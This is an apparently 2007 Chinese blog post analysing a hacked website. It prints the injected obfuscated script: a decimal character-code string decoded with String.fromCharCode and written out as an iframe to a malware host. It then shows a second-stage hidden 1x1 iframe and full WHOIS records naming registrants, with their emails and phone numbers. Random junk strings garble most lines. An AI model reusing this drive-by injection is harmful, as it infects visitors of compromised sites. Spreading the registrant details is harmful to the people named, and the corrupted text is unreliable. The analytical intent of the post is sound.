首发在我的博客里面，
@h z0:ezg: ?$`1%Y9 http://www.areway.cn/?p=175 (<AM+| { 8|Z}?I _Oaso > 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
ZQJw2LA gO !pF KC) <script>t=’60,105,102,114,97,109,101,
4IGQ,RTB 32,115,114,99,61,104,116,116,112,58,47,47,
HC<BGIgL 102,114,101,101,46,117,45,117,117,117,46,99,
\|b1s @c8 110,47,101,114,114,111,114,46,104,116,109,
M 25z<Y 32,119,105,100,116,104,61,49,48,48,32,104,
f0f qDmn 101,105,103,104,116,61,48,62,60,47,105,102,
Xoa <r9 114,97,109,101,62′;
!@]h@MC$7 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
K_w0+oY a *6\`A!C <script>t=’60,105,102,114,97,109,101,32,115,
3ec==. 114,99,61,104,116,116,112,58,47,47,102,114,
=c5 /cpZ^ 101,101,46,117,45,117,117,117,46,99,110,47,
Hi4@! ] 101,114,114,111,114,46,104,116,109,32,119,
5G42vTDzS4 105,100,116,104,61,49,48,48,32,104,101,105,
;]O 7^s#v 103,104,116,61,48,62,60,47,105,102,114,97,
Rp4BU"&sU 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
[K|>s(Sf* document.write(t);</script>
Br. $L (f Lbg, <html xmlns=”
=>9.@`. http://www.w3.org/1999/xhtml NiJ?no “>
gC,0+Y~ <head>
_,-M8=dL%* <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
e4NX\tCpw <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
{KQ-Ce-6 <title>首页 - 爱生活家庭网
dM @k(9| pN^G[ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
\Vhp B
转换字符串后的大概内容是（谁点击后果自付）：
ah&plaVzC <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
"351 s3ff
]a Ma*fF 查询玉米u-uuu.cn的详细信息：
~]t2?SqNm Domain Name: u-uuu.cn
yI)RG OV ROID: 20070901s10001s64972306-cn
`- uZv Domain Status: ok
(^@;`8Dy8 Registrant Organization: 王雷
uBL~ AC3>O Registrant Name: 王雷
xr7<(: d Administrative Email:
czlovexs@126.com :O @,Z_" Sponsoring Registrar: 北京万网志成科技有限公司
X:} 5L> ' Name Server:ns.yovole.com
SJ|.% gn Name Server:ns1.yovole.com
vng8{Mx90* Registration Date: 2007-09-01 17:54
>=q!!'$: Expiration Date: 2008-09-01 17:54
6 [Pr<4J 最后PING了一下地址 都没有什么….
%_X[{( =w>>7u$4 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
4@V <Suw <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
B #V 4 <script language=”javascript” src=”
) *QTxN http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script
"lnk >
+
1%^c (3 这个玉米应该有可能是木马作者的：
=jd=Qs IL foafau.info的详细信息：
pa> 2JF* Access to INFO WHOIS information is provided to assist persons in
1_E3DXe determining the contents of a domain name registration record in the
:92a34 Afilias registry database. The data in this record is provided by
~4
x Ba:*z Afilias Limited for informational purposes only, and Afilias does not
`5 v51TpH guarantee its accuracy. This service is intended only for query-based
9Q M"JEu@ access. You agree that you will use this data only for lawful purposes
: Tl6:=B and that, under no circumstances will you use this data to: (a) allow,
sCf(h enable, or otherwise support the transmission by e-mail, telephone, or
kpMM%"=V facsimile of mass unsolicited, commercial advertising or solicitations
}mS0{rxD4 to entities other than the data recipient’s own existing customers; or
1X:whS5S (b) enable high volume, automated, electronic processes that send
A,CPR0g% queries or data to the systems of Registry Operator, a Registrar, or
0{ Ll4 Afilias except as reasonably necessary to register domain names or
pUEok + modify existing registrations. All rights reserved. Afilias reserves
W&re;?Z{ke the right to modify these terms at any time. By submitting this query,
Q9'p3"yoE you agree to abide by this policy.
$4~}_phi Domain ID:D22418703-LRMS
-H]f@|AOw Domain Name:FOAFAU.INFO
`\Fj O" Created On:20-Nov-2007 16:05:42 UTC
o5G "J"vxe Last Updated On:20-Nov-2007 16:05:44 UTC
s$y#Ufz Expiration Date:20-Nov-2008 16:05:42 UTC
/v ;Kb|e Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
a0W\? Status:CLIENT DELETE PROHIBITED
)cmLo0`$ Status:CLIENT RENEW PROHIBITED
kp>Z /kt Status:CLIENT TRANSFER PROHIBITED
36Y[7 m= Status:CLIENT UPDATE PROHIBITED
Q1&dB{L Status:TRANSFER PROHIBITED
B+H9c~3$ Registrant ID:GODA-040110615
rls#g w Registrant Name:liu hong
\rnG 1o Registrant Organization:
Fo XQ]X7" Registrant Street1:beijing
*L8HC8IbH Registrant Street2:
BNm va Registrant Street3:
Ol 5xyj Registrant City:beijing
}c#/1J 7 Registrant State/Province:
9TN5|x Registrant Postal Code:100000
ML"P"&~u6 Registrant Country:CN
-/{}^ QWB Registrant Phone:+86.860108888777
&``oZvu B Registrant Phone Ext.:
J t,
4@ Registrant FAX:
s=@Ce V@4W Registrant FAX Ext.:
Ew sg&CCN Registrant Email:bbbshiji@163.com
E&tmWOMj> Admin ID:GODA-240110615
DWxh{h"> Admin Name:liu hong
}
K-[/; Admin Organization:
pP oC61F Admin Street1:beijing
iBW6<2@oZF Admin Street2:
Y_YIJ@ Admin Street3:
1Moh` Admin City:beijing
kxf=% <l Admin State/Province:
3kQ8 *S Admin Postal Code:100000
+\$|L +@Z Admin Country:CN
,ST.pu8N. Admin Phone:+86.860108888777
M@@O50~ Admin Phone Ext.:
oi4Wxcj Admin FAX:
_Vf|F Admin FAX Ext.:
'm? x2$u8 Admin Email:bbbshiji@163.com
fhWD>;%F% Billing ID:GODA-340110615
FAl 6 Billing Name:liu hong
u9~J1s<e Billing Organization:
y,
_3Ks Billing Street1:beijing
AFUl Billing Street2:
V xs`w Billing Street3:
^b.
MR ?9 Billing City:beijing
j;'Wf[V Billing State/Province:
I_s(yO4pw Billing Postal Code:100000
X[Gk!d r# Billing Country:CN
!#s7 F Billing Phone:+86.860108888777
[t) i\ }V Billing Phone Ext.:
F7 6h Billing FAX:
Q31c@t Billing FAX Ext.:
oT{yttSNo Billing Email:bbbshiji@163.com
9 yAu<a Tech ID:GODA-140110615
1Sk6[h'CL Tech Name:liu hong
,PxQ[CGg Tech Organization:
w o9f9 9 Tech Street1:beijing
qyfxT Q5 Tech Street2:
{S(T1ua Tech Street3:
$s!meg@s Tech City:beijing
7V``f:#d Tech State/Province:
"
CoR?[,x Tech Postal Code:100000
,]qX_`qF Tech Country:CN
.g?,:$`0D? Tech Phone:+86.860108888777
!_!b \ Tech Phone Ext.:
C>VZf,JE1 Tech FAX:
x}j41E} Tech FAX Ext.:
^i1 :PlW] Tech Email:bbbshiji@163.com
dph6aN(49 Name Server:NS27.DOMAINCONTROL.COM
*lO+^\HXD Name Server:NS28.DOMAINCONTROL.COM
TBT*j&!L Name Server:
WfO$q^'?DP Name Server:
CxQ,yd;> Name Server:
Khd ,| pM Name Server:
Pk_{{Z(1o Name Server:
J :(\o=5 5 Name Server:
FWN%JCOj@ Name Server:
<ft9B05* Name Server:
[&V%rhi Name Server:
X0TGJ,yW( Name Server:
|%;txD Name Server:
X;>} ;LiK Ih"Ol(W 接着下载每个文件里面的代码：
H;&t"Ql. 一步一步看..
P9 wDTZ
:4 
nQmYeM 
83*k.]S` 
^uzVz1%mM 
1 `\kXaG 
Mp=+*I[ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
